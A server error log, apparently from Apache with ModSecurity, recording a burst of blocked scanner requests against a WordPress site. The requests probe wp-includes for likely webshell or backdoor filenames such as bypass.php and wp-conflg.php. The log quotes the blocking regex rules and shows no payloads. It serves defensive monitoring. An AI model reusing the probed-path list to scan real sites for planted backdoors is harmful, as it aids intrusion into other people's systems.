[Tue May 05 07:49:29.042859 2026] [:error] [pid 39073:tid 39141] [client 45.86.200.57:38287] [client 45.86.200.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "afkwif0kT1BNjk46BkeBPQAAAIc"]
[Tue May 05 07:49:29.575441 2026] [:error] [pid 39178:tid 39187] [client 45.86.200.94:47995] [client 45.86.200.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "afkwiTaPrgTaiOD_15vJHAAAAMc"]
[Tue May 05 07:49:32.148731 2026] [:error] [pid 53856:tid 53869] [client 45.86.200.51:45097] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "afkwjHG_NPOxSH0O9aQ3VwAAAUQ"]
[Tue May 05 07:49:32.683828 2026] [:error] [pid 39071:tid 39084] [client 45.86.200.105:42489] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "afkwjIvmnRMz9gRzix21WAAAAAQ"]
[Tue May 05 07:49:34.914525 2026] [:error] [pid 39071:tid 39104] [client 45.86.200.110:43917] [client 45.86.200.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "afkwjovmnRMz9gRzix21jQAAABg"]
[Tue May 05 07:49:35.486717 2026] [:error] [pid 53856:tid 53886] [client 45.86.200.52:21947] [client 45.86.200.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "afkwj3G_NPOxSH0O9aQ32wAAAVU"]
[Tue May 05 07:49:36.050490 2026] [proxy_fcgi:error] [pid 39178:tid 39200] [client 45.86.200.73:35085] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:49:36.337435 2026] [:error] [pid 39178:tid 39203] [client 45.86.200.73:35085] [client 45.86.200.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.73, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "afkwkDaPrgTaiOD_15vJ0gAAANc"]
[Tue May 05 07:49:36.882398 2026] [:error] [pid 39178:tid 39182] [client 45.86.200.73:35085] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "afkwkDaPrgTaiOD_15vJ4AAAAMI"]
[Tue May 05 07:49:38.323377 2026] [:error] [pid 53856:tid 53875] [client 45.86.200.78:22039] [client 45.86.200.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "afkwknG_NPOxSH0O9aQ4WAAAAUo"]
[Tue May 05 07:49:39.159122 2026] [:error] [pid 53856:tid 53872] [client 45.86.200.104:63431] [client 45.86.200.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "afkwk3G_NPOxSH0O9aQ4dwAAAUc"]
[Tue May 05 07:49:39.696038 2026] [:error] [pid 39071:tid 39103] [client 45.86.200.89:33663] [client 45.86.200.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "afkwk4vmnRMz9gRzix22EwAAABc"]
[Tue May 05 07:49:41.054056 2026] [:error] [pid 53856:tid 53868] [client 45.86.200.97:48251] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "afkwlXG_NPOxSH0O9aQ4wAAAAUM"]
[Tue May 05 07:49:42.137487 2026] [:error] [pid 53856:tid 53884] [client 45.86.200.100:45361] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "afkwlnG_NPOxSH0O9aQ48QAAAVM"]
[Tue May 05 07:49:43.835262 2026] [:error] [pid 39072:tid 39111] [client 185.82.72.3:37665] [client 185.82.72.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "afkwl_olSHl4aAnrIotGRgAAAEQ"]
[Tue May 05 07:49:44.375636 2026] [:error] [pid 39072:tid 39114] [client 45.86.200.90:29793] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "afkwmPolSHl4aAnrIotGWgAAAEc"]
[Tue May 05 07:49:44.950267 2026] [:error] [pid 41055:tid 41077] [client 45.86.200.105:46545] [client 45.86.200.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/fm.php7"] [unique_id "afkwmCepFwKgA_SKOHgtNAAAARM"]
[Tue May 05 07:49:45.806976 2026] [:error] [pid 53856:tid 53870] [client 45.86.200.97:37045] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "afkwmXG_NPOxSH0O9aQ5uwAAAUU"]
[Tue May 05 07:49:53.743955 2026] [:error] [pid 39073:tid 39138] [client 45.86.200.97:25341] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "afkwof0kT1BNjk46BkeDzAAAAIQ"]
[Tue May 05 07:49:54.848183 2026] [:error] [pid 39071:tid 39083] [client 45.86.200.90:37277] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "afkwoovmnRMz9gRzix23gQAAAAM"]
[Tue May 05 07:49:55.112335 2026] [:error] [pid 39071:tid 39084] [client 45.86.200.90:37277] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "afkwo4vmnRMz9gRzix23iQAAAAQ"]
[Tue May 05 07:49:57.339360 2026] [:error] [pid 53856:tid 53877] [client 45.86.200.53:36913] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "afkwpXG_NPOxSH0O9aQ8HAAAAUw"]
[Tue May 05 07:49:57.912921 2026] [:error] [pid 39071:tid 39084] [client 45.86.200.74:36951] [client 45.86.200.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "afkwpYvmnRMz9gRzix232QAAAAQ"]
[Tue May 05 07:50:00.190298 2026] [:error] [pid 39071:tid 39096] [client 45.86.200.55:46587] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "afkwqIvmnRMz9gRzix24GQAAABA"]
[Tue May 05 07:50:01.433944 2026] [:error] [pid 53856:tid 53873] [client 45.86.200.80:42369] [client 45.86.200.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "afkwqXG_NPOxSH0O9aQ9DQAAAUg"]
[Tue May 05 07:50:02.412846 2026] [:error] [pid 53856:tid 53873] [client 45.86.200.92:29511] [client 45.86.200.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "afkwqnG_NPOxSH0O9aQ9RwAAAUg"]
[Tue May 05 07:50:04.716163 2026] [:error] [pid 39071:tid 39088] [client 45.86.200.56:59335] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "afkwrIvmnRMz9gRzix24agAAAAg"]
[Tue May 05 07:50:05.362110 2026] [:error] [pid 39073:tid 39156] [client 45.86.200.90:64625] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "afkwrf0kT1BNjk46BkeFFwAAAJY"]
[Tue May 05 07:50:06.234372 2026] [:error] [pid 39071:tid 39090] [client 45.86.200.80:44765] [client 45.86.200.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "afkwrovmnRMz9gRzix24nwAAAAo"]
[Tue May 05 07:50:06.795894 2026] [:error] [pid 41055:tid 41067] [client 45.86.200.96:65295] [client 45.86.200.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "afkwriepFwKgA_SKOHgv5AAAAQk"]
[Tue May 05 07:50:07.942173 2026] [:error] [pid 39071:tid 39089] [client 45.86.200.75:23209] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "afkwr4vmnRMz9gRzix243gAAAAk"]
[Tue May 05 07:50:09.048537 2026] [:error] [pid 41055:tid 41064] [client 45.86.200.79:53651] [client 45.86.200.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "afkwsSepFwKgA_SKOHgwMwAAAQY"]
[Tue May 05 07:50:09.614402 2026] [:error] [pid 39072:tid 39107] [client 45.86.200.105:31829] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "afkwsfolSHl4aAnrIotJKgAAAEA"]
[Tue May 05 07:50:11.327351 2026] [:error] [pid 39178:tid 39196] [client 45.86.200.95:29395] [client 45.86.200.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "afkwszaPrgTaiOD_15vNlgAAANA"]
[Tue May 05 07:50:12.445584 2026] [:error] [pid 39072:tid 39113] [client 45.86.200.82:44935] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "afkwtPolSHl4aAnrIotJkwAAAEY"]
[Tue May 05 07:50:13.861170 2026] [:error] [pid 39178:tid 39180] [client 45.86.200.58:55215] [client 45.86.200.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "afkwtTaPrgTaiOD_15vN0QAAAMA"]
[Tue May 05 07:50:14.423209 2026] [:error] [pid 39071:tid 39092] [client 45.86.200.60:44439] [client 45.86.200.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "afkwtovmnRMz9gRzix25ggAAAAw"]
[Tue May 05 07:50:14.957179 2026] [:error] [pid 39071:tid 39103] [client 45.86.200.57:56991] [client 45.86.200.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "afkwtovmnRMz9gRzix25mQAAABc"]
[Tue May 05 07:50:17.206449 2026] [:error] [pid 41055:tid 41071] [client 45.86.200.93:45703] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "afkwuSepFwKgA_SKOHgw_wAAAQ0"]
[Tue May 05 07:50:23.068606 2026] [:error] [pid 53856:tid 53874] [client 45.86.200.73:60399] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "afkwv3G_NPOxSH0O9aRBLgAAAUk"]
[Tue May 05 07:50:23.635132 2026] [:error] [pid 39073:tid 39147] [client 45.86.200.107:62701] [client 45.86.200.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "afkwv_0kT1BNjk46BkeHRQAAAI0"]
[Tue May 05 07:50:24.435330 2026] [:error] [pid 39072:tid 39129] [client 45.86.200.56:37613] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "afkwwPolSHl4aAnrIotLjAAAAFY"]
[Tue May 05 07:50:24.976096 2026] [:error] [pid 41055:tid 41070] [client 45.86.200.83:21713] [client 45.86.200.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "afkwwCepFwKgA_SKOHgxnAAAAQw"]
[Tue May 05 07:50:26.162548 2026] [:error] [pid 41055:tid 41070] [client 45.86.200.93:27779] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "afkwwiepFwKgA_SKOHgxxAAAAQw"]
[Tue May 05 07:50:26.992844 2026] [:error] [pid 39072:tid 39118] [client 45.86.200.51:50757] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "afkwwvolSHl4aAnrIotMDQAAAEs"]
[Tue May 05 07:50:27.531251 2026] [:error] [pid 39073:tid 39141] [client 45.86.200.107:29503] [client 45.86.200.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "afkww_0kT1BNjk46BkeHwgAAAIc"]
[Tue May 05 07:50:28.144116 2026] [:error] [pid 39178:tid 39193] [client 45.86.200.73:28061] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "afkwxDaPrgTaiOD_15vPGwAAAM0"]
[Tue May 05 07:50:29.249424 2026] [:error] [pid 41055:tid 41081] [client 45.86.200.55:56427] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "afkwxSepFwKgA_SKOHgyCgAAARc"]
[Tue May 05 07:50:30.352694 2026] [:error] [pid 53856:tid 53877] [client 45.86.200.86:23747] [client 45.86.200.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "afkwxnG_NPOxSH0O9aRCdwAAAUw"]
[Tue May 05 07:50:31.200529 2026] [:error] [pid 39178:tid 39199] [client 45.86.200.76:51885] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "afkwxzaPrgTaiOD_15vPUQAAANM"]
[Tue May 05 07:50:32.046826 2026] [:error] [pid 39072:tid 39115] [client 45.86.200.86:40861] [client 45.86.200.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "afkwyPolSHl4aAnrIotM0gAAAEg"]
[Tue May 05 07:50:34.338132 2026] [:error] [pid 39178:tid 39184] [client 45.86.200.101:21123] [client 45.86.200.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "afkwyjaPrgTaiOD_15vPfwAAAMQ"]
[Tue May 05 07:50:35.998206 2026] [:error] [pid 39073:tid 39138] [client 45.86.200.91:48445] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "afkwy_0kT1BNjk46BkeI2QAAAIQ"]
